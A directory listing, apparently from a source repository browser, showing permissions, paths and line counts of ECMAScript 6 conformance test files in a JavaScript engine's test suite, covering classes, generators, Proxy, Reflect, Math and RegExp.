-rw-r--r--js/src/tests/ecma_6/ArrowFunctions/yield-in-arrow.js77
-rw-r--r--js/src/tests/ecma_6/Class/boundFunctionSubclassing.js37
-rw-r--r--js/src/tests/ecma_6/Class/browser.js0
-rw-r--r--js/src/tests/ecma_6/Class/bytecodePatternMatching.js29
-rw-r--r--js/src/tests/ecma_6/Class/classConstructorNoCall.js21
-rw-r--r--js/src/tests/ecma_6/Class/classHeritage.js97
-rw-r--r--js/src/tests/ecma_6/Class/className.js247
-rw-r--r--js/src/tests/ecma_6/Class/classPrototype.js65
-rw-r--r--js/src/tests/ecma_6/Class/compPropDestr.js11
-rw-r--r--js/src/tests/ecma_6/Class/compPropNames.js243
-rw-r--r--js/src/tests/ecma_6/Class/constructorCalled.js45
-rw-r--r--js/src/tests/ecma_6/Class/defaultConstructorBase.js18
-rw-r--r--js/src/tests/ecma_6/Class/defaultConstructorDerivedSpread.js19
-rw-r--r--js/src/tests/ecma_6/Class/defaultConstructorNotCallable.js8
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalBinding.js12
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalClosed.js11
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscape.js13
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscapeUninitialized.js38
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalGetThis.js10
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalNestedSuperCall.js34
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorArrowEvalSuperCall.js18
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorInlining.js19
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorName.js11
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorReturnPrimitive.js15
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorTDZExplicitThis.js12
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorTDZOffEdge.js11
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorTDZReturnAliasedTry.js14
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorTDZReturnObject.js13
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorTDZReturnTry.js16
-rw-r--r--js/src/tests/ecma_6/Class/derivedConstructorTDZReturnUndefined.js13
-rw-r--r--js/src/tests/ecma_6/Class/extendBuiltinConstructors.js111
-rw-r--r--js/src/tests/ecma_6/Class/geterNoExprClosure.js20
-rw-r--r--js/src/tests/ecma_6/Class/innerBinding.js86
-rw-r--r--js/src/tests/ecma_6/Class/member-expr-after-super.js44
-rw-r--r--js/src/tests/ecma_6/Class/methDefn.js204
-rw-r--r--js/src/tests/ecma_6/Class/methDefnGen.js83
-rw-r--r--js/src/tests/ecma_6/Class/method-named-static.js56
-rw-r--r--js/src/tests/ecma_6/Class/methodInstallation.js101
-rw-r--r--js/src/tests/ecma_6/Class/methodName.js40
-rw-r--r--js/src/tests/ecma_6/Class/methodOverwrites.js80
-rw-r--r--js/src/tests/ecma_6/Class/methodsPrototype.js39
-rw-r--r--js/src/tests/ecma_6/Class/newTargetArgumentsIntact.js44
-rw-r--r--js/src/tests/ecma_6/Class/newTargetArrow.js24
-rw-r--r--js/src/tests/ecma_6/Class/newTargetBound.js16
-rw-r--r--js/src/tests/ecma_6/Class/newTargetCCW.js10
-rw-r--r--js/src/tests/ecma_6/Class/newTargetDVG.js7
-rw-r--r--js/src/tests/ecma_6/Class/newTargetDefaults.js25
-rw-r--r--js/src/tests/ecma_6/Class/newTargetDirectInvoke.js50
-rw-r--r--js/src/tests/ecma_6/Class/newTargetEval.js34
-rw-r--r--js/src/tests/ecma_6/Class/newTargetGenerators.js14
-rw-r--r--js/src/tests/ecma_6/Class/newTargetMethods.js51
-rw-r--r--js/src/tests/ecma_6/Class/newTargetNonFunction.js10
-rw-r--r--js/src/tests/ecma_6/Class/newTargetProxyNative.js5
-rw-r--r--js/src/tests/ecma_6/Class/outerBinding.js45
-rw-r--r--js/src/tests/ecma_6/Class/shell.js16
-rw-r--r--js/src/tests/ecma_6/Class/staticConstructor.js22
-rw-r--r--js/src/tests/ecma_6/Class/staticMethods.js15
-rw-r--r--js/src/tests/ecma_6/Class/strictExecution.js38
-rw-r--r--js/src/tests/ecma_6/Class/stringConstructor.js12
-rw-r--r--js/src/tests/ecma_6/Class/subclassedArrayUnboxed.js22
-rw-r--r--js/src/tests/ecma_6/Class/superCallBadDynamicSuperClass.js12
-rw-r--r--js/src/tests/ecma_6/Class/superCallBadNewTargetPrototype.js25
-rw-r--r--js/src/tests/ecma_6/Class/superCallBaseInvoked.js55
-rw-r--r--js/src/tests/ecma_6/Class/superCallIllegal.js7
-rw-r--r--js/src/tests/ecma_6/Class/superCallInvalidBase.js9
-rw-r--r--js/src/tests/ecma_6/Class/superCallOrder.js26
-rw-r--r--js/src/tests/ecma_6/Class/superCallProperBase.js34
-rw-r--r--js/src/tests/ecma_6/Class/superCallSpreadCall.js27
-rw-r--r--js/src/tests/ecma_6/Class/superCallThisInit.js45
-rw-r--r--js/src/tests/ecma_6/Class/superPropBasicCalls.js27
-rw-r--r--js/src/tests/ecma_6/Class/superPropBasicChain.js11
-rw-r--r--js/src/tests/ecma_6/Class/superPropBasicGetter.js36
-rw-r--r--js/src/tests/ecma_6/Class/superPropBasicNew.js17
-rw-r--r--js/src/tests/ecma_6/Class/superPropChains.js58
-rw-r--r--js/src/tests/ecma_6/Class/superPropDVG.js17
-rw-r--r--js/src/tests/ecma_6/Class/superPropDelete.js46
-rw-r--r--js/src/tests/ecma_6/Class/superPropDerivedCalls.js77
-rw-r--r--js/src/tests/ecma_6/Class/superPropDestructuring.js43
-rw-r--r--js/src/tests/ecma_6/Class/superPropEvalInsideArrow.js11
-rw-r--r--js/src/tests/ecma_6/Class/superPropEvalInsideNested.js13
-rw-r--r--js/src/tests/ecma_6/Class/superPropFor.js25
-rw-r--r--js/src/tests/ecma_6/Class/superPropHeavyweightArrow.js12
-rw-r--r--js/src/tests/ecma_6/Class/superPropHomeObject.js62
-rw-r--r--js/src/tests/ecma_6/Class/superPropIncDecElem.js24
-rw-r--r--js/src/tests/ecma_6/Class/superPropLazyInnerFunction.js19
-rw-r--r--js/src/tests/ecma_6/Class/superPropNoOverwriting.js58
-rw-r--r--js/src/tests/ecma_6/Class/superPropOrdering.js93
-rw-r--r--js/src/tests/ecma_6/Class/superPropProtoChanges.js22
-rw-r--r--js/src/tests/ecma_6/Class/superPropProxies.js83
-rw-r--r--js/src/tests/ecma_6/Class/superPropSkips.js45
-rw-r--r--js/src/tests/ecma_6/Class/superPropStatics.js34
-rw-r--r--js/src/tests/ecma_6/Class/superPropStrictAssign.js23
-rw-r--r--js/src/tests/ecma_6/Class/uninitializedThisError.js57
-rw-r--r--js/src/tests/ecma_6/Comprehensions/arguments.js14
-rw-r--r--js/src/tests/ecma_6/Comprehensions/array-yield.js23
-rw-r--r--js/src/tests/ecma_6/Comprehensions/error-messages.js172
-rw-r--r--js/src/tests/ecma_6/Comprehensions/generator-semantics.js52
-rw-r--r--js/src/tests/ecma_6/Comprehensions/nested-for-if.js20
-rw-r--r--js/src/tests/ecma_6/Comprehensions/scope.js18
-rw-r--r--js/src/tests/ecma_6/Comprehensions/shell.js0
-rw-r--r--js/src/tests/ecma_6/Comprehensions/sudoku.js168
-rw-r--r--js/src/tests/ecma_6/Comprehensions/syntax.js6
-rw-r--r--js/src/tests/ecma_6/Comprehensions/toSource.js14
-rw-r--r--js/src/tests/ecma_6/DataView/browser.js0
-rw-r--r--js/src/tests/ecma_6/DataView/detach-after-construction.js11
-rw-r--r--js/src/tests/ecma_6/DataView/get-set-index-range.js36
-rw-r--r--js/src/tests/ecma_6/DataView/getter-name.js11
-rw-r--r--js/src/tests/ecma_6/DataView/shell.js0
-rw-r--r--js/src/tests/ecma_6/Date/browser.js0
-rw-r--r--js/src/tests/ecma_6/Date/constructor-one-Date-argument.js40
-rw-r--r--js/src/tests/ecma_6/Date/non-iso.js63
-rw-r--r--js/src/tests/ecma_6/Date/prototype-is-not-a-date.js15
-rw-r--r--js/src/tests/ecma_6/Date/shell.js0
-rw-r--r--js/src/tests/ecma_6/Date/toISOString.js53
-rw-r--r--js/src/tests/ecma_6/Date/toPrimitive.js62
-rw-r--r--js/src/tests/ecma_6/Date/toString-generic.js13
-rw-r--r--js/src/tests/ecma_6/Date/two-digit-years.js69
-rw-r--r--js/src/tests/ecma_6/Destructuring/browser.js0
-rw-r--r--js/src/tests/ecma_6/Destructuring/cover-init-name-syntax.js72
-rw-r--r--js/src/tests/ecma_6/Destructuring/iterator-primitive.js36
-rw-r--r--js/src/tests/ecma_6/Destructuring/rest-with-trailing-comma.js45
-rw-r--r--js/src/tests/ecma_6/Destructuring/shell.js0
-rw-r--r--js/src/tests/ecma_6/Destructuring/yield-in-object-destr-function.js182
-rw-r--r--js/src/tests/ecma_6/Destructuring/yield-in-object-destr-generator.js200
-rw-r--r--js/src/tests/ecma_6/Destructuring/yield-in-object-destr-script.js123
-rw-r--r--js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-function.js182
-rw-r--r--js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-generator.js200
-rw-r--r--js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-script.js123
-rw-r--r--js/src/tests/ecma_6/Expressions/ToPropertyKey-symbols.js90
-rw-r--r--js/src/tests/ecma_6/Expressions/binary-literals.js115
-rw-r--r--js/src/tests/ecma_6/Expressions/browser.js0
-rw-r--r--js/src/tests/ecma_6/Expressions/computed-property-side-effects.js35
-rw-r--r--js/src/tests/ecma_6/Expressions/delete-constant-folded-and-or.js41
-rw-r--r--js/src/tests/ecma_6/Expressions/delete-name-parenthesized-early-error-strict-mode.js76
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-default-call.js10
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-default-class.js72
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-default-function-nested.js11
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-default-function.js11
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-default-simple.js16
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-default-yield.js22
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-done.js319
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-array-lexical.js12
-rw-r--r--js/src/tests/ecma_6/Expressions/destructuring-pattern-parenthesized.js140
-rw-r--r--js/src/tests/ecma_6/Expressions/object-literal-__proto__.js267
-rw-r--r--js/src/tests/ecma_6/Expressions/object-literal-computed-property-evaluation.js38
-rw-r--r--js/src/tests/ecma_6/Expressions/octal-literals.js103
-rw-r--r--js/src/tests/ecma_6/Expressions/shell.js186
-rw-r--r--js/src/tests/ecma_6/Expressions/tagged-template-constant-folding.js28
-rw-r--r--js/src/tests/ecma_6/Function/arguments-extra-property.js33
-rw-r--r--js/src/tests/ecma_6/Function/arguments-iterator.js167
-rw-r--r--js/src/tests/ecma_6/Function/arguments-parameter-shadowing.js22
-rw-r--r--js/src/tests/ecma_6/Function/arrow-has-duplicated.js15
-rw-r--r--js/src/tests/ecma_6/Function/bound-length-and-name.js40
-rw-r--r--js/src/tests/ecma_6/Function/bound-non-constructable.js17
-rw-r--r--js/src/tests/ecma_6/Function/bound-prototype.js37
-rw-r--r--js/src/tests/ecma_6/Function/browser.js0
-rw-r--r--js/src/tests/ecma_6/Function/configurable-length-builtins.js21
-rw-r--r--js/src/tests/ecma_6/Function/configurable-length.js86
-rw-r--r--js/src/tests/ecma_6/Function/construct-bound-proxy-with-many-arguments.js13
-rw-r--r--js/src/tests/ecma_6/Function/function-constructor-toString-arguments-before-parsing-params.js23
-rw-r--r--js/src/tests/ecma_6/Function/function-name.js64
-rw-r--r--js/src/tests/ecma_6/Function/has-instance-jitted.js96
-rw-r--r--js/src/tests/ecma_6/Function/has-instance.js101
-rw-r--r--js/src/tests/ecma_6/Function/length-with-destructuring-and-parameter-expression.js31
-rw-r--r--js/src/tests/ecma_6/Function/line-terminator-before-arrow.js9
-rw-r--r--js/src/tests/ecma_6/Function/method-has-duplicated.js19
-rw-r--r--js/src/tests/ecma_6/Function/parameter-redeclaration.js19
-rw-r--r--js/src/tests/ecma_6/Function/rest-has-duplicated.js17
-rw-r--r--js/src/tests/ecma_6/Function/rest-parameter-names.js68
-rw-r--r--js/src/tests/ecma_6/Function/return-finally.js172
-rw-r--r--js/src/tests/ecma_6/Function/shell.js0
-rw-r--r--js/src/tests/ecma_6/Function/spread-iterator-primitive.js28
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-1.js42
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-10.js49
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-11.js20
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-12.js49
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-2.js71
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-3.js40
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-4.js18
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-5.js37
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-6.js56
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-7.js38
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-8.js44
-rw-r--r--js/src/tests/ecma_6/Generators/delegating-yield-9.js37
-rw-r--r--js/src/tests/ecma_6/Generators/iteration.js574
-rw-r--r--js/src/tests/ecma_6/Generators/iterator-next-non-object.js64
-rw-r--r--js/src/tests/ecma_6/Generators/objects.js49
-rw-r--r--js/src/tests/ecma_6/Generators/return-finally.js309
-rw-r--r--js/src/tests/ecma_6/Generators/runtime.js132
-rw-r--r--js/src/tests/ecma_6/Generators/shell.js17
-rw-r--r--js/src/tests/ecma_6/Generators/syntax.js140
-rw-r--r--js/src/tests/ecma_6/Generators/yield-non-regexp.js16
-rw-r--r--js/src/tests/ecma_6/Generators/yield-star-iterator-primitive.js31
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-eval.js51
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-generators.js26
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-if.js42
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-label.js43
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-property.js18
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-same-name.js7
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-with.js18
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b.js31
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-deprecated-redecl.js78
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-hoisted-tdz.js30
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-strict.js45
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/browser.js0
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/bug-1216623.js19
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/catch-body.js19
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/const-declaration-in-for-loop.js88
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/eval-has-lexical-environment.js45
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/eval-nondefinable-function.js10
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/for-loop-with-bindings-added-at-runtime.js125
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/for-loop.js121
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/implicit-this-in-with.js18
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/nondefinable-function-same-script.js24
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/redeclaring-global-properties.js64
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/shell.js5
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-basics.js22
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-closures.js23
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-const.js8
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-delete.js27
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-getters.js41
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-global.js18
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-ignored.js22
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-miss.js7
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation-frozen.js18
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation.js44
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-proto.js39
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-proxy.js46
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-strict.js32
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/unscopables-tdz.js9
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-destructuring.js10
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-for-of.js12
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval.js21
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b.js116
-rw-r--r--js/src/tests/ecma_6/LexicalEnvironment/with-global-ignores-global-let-variables.js24
-rw-r--r--js/src/tests/ecma_6/Map/NaN-as-key.js55
-rw-r--r--js/src/tests/ecma_6/Map/browser.js0
-rw-r--r--js/src/tests/ecma_6/Map/constructor-iterator-primitive.js34
-rw-r--r--js/src/tests/ecma_6/Map/forEach-selfhosted-behavior.js51
-rw-r--r--js/src/tests/ecma_6/Map/getter-name.js10
-rw-r--r--js/src/tests/ecma_6/Map/iterable.js28
-rw-r--r--js/src/tests/ecma_6/Map/shell.js0
-rw-r--r--js/src/tests/ecma_6/Map/symbols.js33
-rw-r--r--js/src/tests/ecma_6/Math/20.2.2.ToNumber.js112
-rw-r--r--js/src/tests/ecma_6/Math/acosh-approx.js283
-rw-r--r--js/src/tests/ecma_6/Math/acosh-exact.js26
-rw-r--r--js/src/tests/ecma_6/Math/asinh-approx.js303
-rw-r--r--js/src/tests/ecma_6/Math/asinh-exact.js19
-rw-r--r--js/src/tests/ecma_6/Math/atanh-approx.js280
-rw-r--r--js/src/tests/ecma_6/Math/atanh-exact.js35
-rw-r--r--js/src/tests/ecma_6/Math/browser.js0
-rw-r--r--js/src/tests/ecma_6/Math/cbrt-approx.js17
-rw-r--r--js/src/tests/ecma_6/Math/cbrt-exact.js19
-rw-r--r--js/src/tests/ecma_6/Math/clz32.js40
-rw-r--r--js/src/tests/ecma_6/Math/cosh-approx.js276
-rw-r--r--js/src/tests/ecma_6/Math/cosh-exact.js19
-rw-r--r--js/src/tests/ecma_6/Math/expm1-approx.js62
-rw-r--r--js/src/tests/ecma_6/Math/expm1-exact.js20
-rw-r--r--js/src/tests/ecma_6/Math/expm1-monotonicity.js94
-rw-r--r--js/src/tests/ecma_6/Math/fround.js81
-rw-r--r--js/src/tests/ecma_6/Math/log10-approx.js9
-rw-r--r--js/src/tests/ecma_6/Math/log10-exact.js30
-rw-r--r--js/src/tests/ecma_6/Math/log1p-approx.js20
-rw-r--r--js/src/tests/ecma_6/Math/log1p-exact.js29
-rw-r--r--js/src/tests/ecma_6/Math/log2-approx.js8
-rw-r--r--js/src/tests/ecma_6/Math/log2-exact.js30
-rw-r--r--js/src/tests/ecma_6/Math/shell.js74
-rw-r--r--js/src/tests/ecma_6/Math/sign.js34
-rw-r--r--js/src/tests/ecma_6/Math/sinh-approx.js297
-rw-r--r--js/src/tests/ecma_6/Math/sinh-exact.js19
-rw-r--r--js/src/tests/ecma_6/Math/tanh-approx.js282
-rw-r--r--js/src/tests/ecma_6/Math/tanh-exact.js19
-rw-r--r--js/src/tests/ecma_6/Math/trunc.js50
-rw-r--r--js/src/tests/ecma_6/Number/15.7.3.7-EPSILON.js24
-rw-r--r--js/src/tests/ecma_6/Number/20.1.2.10-MIN_SAFE_INTEGER.js26
-rw-r--r--js/src/tests/ecma_6/Number/20.1.2.6-MAX_SAFE_INTEGER.js26
-rw-r--r--js/src/tests/ecma_6/Number/20.1.3.2-toExponential.js47
-rw-r--r--js/src/tests/ecma_6/Number/20.1.3.2-toPrecision.js47
-rw-r--r--js/src/tests/ecma_6/Number/20.1.3.3-toFixed.js17
-rw-r--r--js/src/tests/ecma_6/Number/ToNumber.js26
-rw-r--r--js/src/tests/ecma_6/Number/browser.js0
-rw-r--r--js/src/tests/ecma_6/Number/isSafeInteger-01.js40
-rw-r--r--js/src/tests/ecma_6/Number/parseFloat-01.js27
-rw-r--r--js/src/tests/ecma_6/Number/parseInt-01.js172
-rw-r--r--js/src/tests/ecma_6/Number/parseInt-default-to-decimal.js30
-rw-r--r--js/src/tests/ecma_6/Number/shell.js0
-rw-r--r--js/src/tests/ecma_6/Object/accessor-arguments-rest.js24
-rw-r--r--js/src/tests/ecma_6/Object/accessor-name.js36
-rw-r--r--js/src/tests/ecma_6/Object/accessor-non-constructor.js20
-rw-r--r--js/src/tests/ecma_6/Object/assign.js303
-rw-r--r--js/src/tests/ecma_6/Object/browser.js0
-rw-r--r--js/src/tests/ecma_6/Object/bug-1150906.js13
-rw-r--r--js/src/tests/ecma_6/Object/bug-1206700.js10
-rw-r--r--js/src/tests/ecma_6/Object/defineProperties-order.js17
-rw-r--r--js/src/tests/ecma_6/Object/defineProperty-proxy.js54
-rw-r--r--js/src/tests/ecma_6/Object/destructuring-shorthand-defaults.js135
-rw-r--r--js/src/tests/ecma_6/Object/duplProps.js116
-rw-r--r--js/src/tests/ecma_6/Object/freeze-proxy.js27
-rw-r--r--js/src/tests/ecma_6/Object/freeze.js21
-rw-r--r--js/src/tests/ecma_6/Object/getOwnPropertyDescriptor.js35
-rw-r--r--js/src/tests/ecma_6/Object/getOwnPropertySymbols-proxy.js28
-rw-r--r--js/src/tests/ecma_6/Object/getOwnPropertySymbols.js46
-rw-r--r--js/src/tests/ecma_6/Object/getPrototypeOf.js22
-rw-r--r--js/src/tests/ecma_6/Object/getter-name.js10
-rw-r--r--js/src/tests/ecma_6/Object/isExtensible.js21
-rw-r--r--js/src/tests/ecma_6/Object/isFrozen.js21
-rw-r--r--js/src/tests/ecma_6/Object/isSealed.js21
-rw-r--r--js/src/tests/ecma_6/Object/keys.js23
-rw-r--r--js/src/tests/ecma_6/Object/method-non-constructor.js12
-rw-r--r--js/src/tests/ecma_6/Object/preventExtensions-proxy.js23
-rw-r--r--js/src/tests/ecma_6/Object/preventExtensions.js21
-rw-r--r--js/src/tests/ecma_6/Object/property-descriptor-order.js17
-rw-r--r--js/src/tests/ecma_6/Object/propertyIsEnumerable-proxy.js59
-rw-r--r--js/src/tests/ecma_6/Object/seal-proxy.js27
-rw-r--r--js/src/tests/ecma_6/Object/seal.js21
-rw-r--r--js/src/tests/ecma_6/Object/setPrototypeOf-cross-realm-cycle.js11
-rw-r--r--js/src/tests/ecma_6/Object/setPrototypeOf-cycle.js16
-rw-r--r--js/src/tests/ecma_6/Object/setPrototypeOf-same-value.js11
-rw-r--r--js/src/tests/ecma_6/Object/shell.js0
-rw-r--r--js/src/tests/ecma_6/Object/toLocaleString.js13
-rw-r--r--js/src/tests/ecma_6/Object/toPrimitive-callers.js57
-rw-r--r--js/src/tests/ecma_6/Object/toPrimitive.js101
-rw-r--r--js/src/tests/ecma_6/Promise/browser.js0
-rw-r--r--js/src/tests/ecma_6/Promise/bug-1287334.js12
-rw-r--r--js/src/tests/ecma_6/Promise/bug-1288382.js13
-rw-r--r--js/src/tests/ecma_6/Promise/bug-1289040.js13
-rw-r--r--js/src/tests/ecma_6/Promise/dependent-promises.js41
-rw-r--r--js/src/tests/ecma_6/Promise/enqueue-promise-reactions.js43
-rw-r--r--js/src/tests/ecma_6/Promise/get-wait-for-all-promise.js65
-rw-r--r--js/src/tests/ecma_6/Promise/iterator-primitive.js28
-rw-r--r--js/src/tests/ecma_6/Promise/methods-non-enumerable.js9
-rw-r--r--js/src/tests/ecma_6/Promise/promise-all.js30
-rw-r--r--js/src/tests/ecma_6/Promise/promise-basics.js101
-rw-r--r--js/src/tests/ecma_6/Promise/promise-rejection-tracking.js36
-rw-r--r--js/src/tests/ecma_6/Promise/promise-species.js13
-rw-r--r--js/src/tests/ecma_6/Promise/promise-subclassing.js67
-rw-r--r--js/src/tests/ecma_6/Promise/self-resolve.js23
-rw-r--r--js/src/tests/ecma_6/Promise/shell.js0
-rw-r--r--js/src/tests/ecma_6/Proxy/getPrototypeOf.js285
-rw-r--r--js/src/tests/ecma_6/Proxy/global-receiver.js35
-rw-r--r--js/src/tests/ecma_6/Proxy/hasInstance.js13
-rw-r--r--js/src/tests/ecma_6/Proxy/json-stringify-replacer-array-revocable-proxy.js39
-rw-r--r--js/src/tests/ecma_6/Proxy/ownkeys-allowed-types.js20
-rw-r--r--js/src/tests/ecma_6/Proxy/ownkeys-linear.js70
-rw-r--r--js/src/tests/ecma_6/Proxy/ownkeys-trap-duplicates.js32
-rw-r--r--js/src/tests/ecma_6/Proxy/proxy-__proto__.js59
-rw-r--r--js/src/tests/ecma_6/Proxy/proxy-constructNonObject.js18
-rw-r--r--js/src/tests/ecma_6/Proxy/proxy-for-in.js37
-rw-r--r--js/src/tests/ecma_6/Proxy/proxy-no-receiver-overwrite.js23
-rw-r--r--js/src/tests/ecma_6/Proxy/proxy-with-revoked-arguments.js53
-rw-r--r--js/src/tests/ecma_6/Proxy/regress-bug1037770.js7
-rw-r--r--js/src/tests/ecma_6/Proxy/regress-bug1062349.js31
-rw-r--r--js/src/tests/ecma_6/Proxy/regress-bug950407.js11
-rw-r--r--js/src/tests/ecma_6/Proxy/revocable-proxy-prototype.js40
-rw-r--r--js/src/tests/ecma_6/Proxy/revoke-as-side-effect.js73
-rw-r--r--js/src/tests/ecma_6/Proxy/setPrototypeOf.js258
-rw-r--r--js/src/tests/ecma_6/Proxy/shell.js0
-rw-r--r--js/src/tests/ecma_6/Proxy/trap-null.js103
-rw-r--r--js/src/tests/ecma_6/Reflect/apply.js130
-rw-r--r--js/src/tests/ecma_6/Reflect/argumentsList.js164
-rw-r--r--js/src/tests/ecma_6/Reflect/browser.js0
-rw-r--r--js/src/tests/ecma_6/Reflect/construct.js107
-rw-r--r--js/src/tests/ecma_6/Reflect/defineProperty.js164
-rw-r--r--js/src/tests/ecma_6/Reflect/deleteProperty.js80
-rw-r--r--js/src/tests/ecma_6/Reflect/get.js72
-rw-r--r--js/src/tests/ecma_6/Reflect/getOwnPropertyDescriptor.js21
-rw-r--r--js/src/tests/ecma_6/Reflect/getPrototypeOf.js17
-rw-r--r--js/src/tests/ecma_6/Reflect/has.js41
-rw-r--r--js/src/tests/ecma_6/Reflect/isExtensible.js57
-rw-r--r--js/src/tests/ecma_6/Reflect/ownKeys.js66
-rw-r--r--js/src/tests/ecma_6/Reflect/preventExtensions.js56
-rw-r--r--js/src/tests/ecma_6/Reflect/propertyKeys.js84
-rw-r--r--js/src/tests/ecma_6/Reflect/set.js280
-rw-r--r--js/src/tests/ecma_6/Reflect/setPrototypeOf.js72
-rw-r--r--js/src/tests/ecma_6/Reflect/shell.js9
-rw-r--r--js/src/tests/ecma_6/Reflect/surfaces.js59
-rw-r--r--js/src/tests/ecma_6/Reflect/target.js44
-rw-r--r--js/src/tests/ecma_6/RegExp/RegExpExec-exec.js18
-rw-r--r--js/src/tests/ecma_6/RegExp/RegExpExec-return.js31
-rw-r--r--js/src/tests/ecma_6/RegExp/browser.js0
-rw-r--r--js/src/tests/ecma_6/RegExp/class-null.js15
-rw-r--r--js/src/tests/ecma_6/RegExp/compile-lastIndex.js88
-rw-r--r--js/src/tests/ecma_6/RegExp/constructor-IsRegExp.js86
-rw-r--r--js/src/tests/ecma_6/RegExp/constructor-constructor.js78
-rw-r--r--js/src/tests/ecma_6/RegExp/constructor-ordering-2.js21
-rw-r--r--js/src/tests/ecma_6/RegExp/constructor-ordering.js16
-rw-r--r--js/src/tests/ecma_6/RegExp/constructor-regexp-unicode.js9
-rw-r--r--js/src/tests/ecma_6/RegExp/constructor-regexp.js61
-rw-r--r--js/src/tests/ecma_6/RegExp/descriptor.js25
-rw-r--r--js/src/tests/ecma_6/RegExp/escape.js70
-rw-r--r--js/src/tests/ecma_6/RegExp/exec-lastIndex-negative.js27
-rw-r--r--js/src/tests/ecma_6/RegExp/flag-accessors.js49
-rw-r--r--js/src/tests/ecma_6/RegExp/flags-param-handling.js18
-rw-r--r--js/src/tests/ecma_6/RegExp/flags.js26
-rw-r--r--js/src/tests/ecma_6/RegExp/getter-name.js16
-rw-r--r--js/src/tests/ecma_6/RegExp/ignoreCase-multiple.js71
-rw-r--r--js/src/tests/ecma_6/RegExp/lastIndex-nonwritable.js27
-rw-r--r--js/src/tests/ecma_6/RegExp/match-this.js12
-rw-r--r--js/src/tests/ecma_6/RegExp/match-trace.js147
-rw-r--r--js/src/tests/ecma_6/RegExp/match.js36
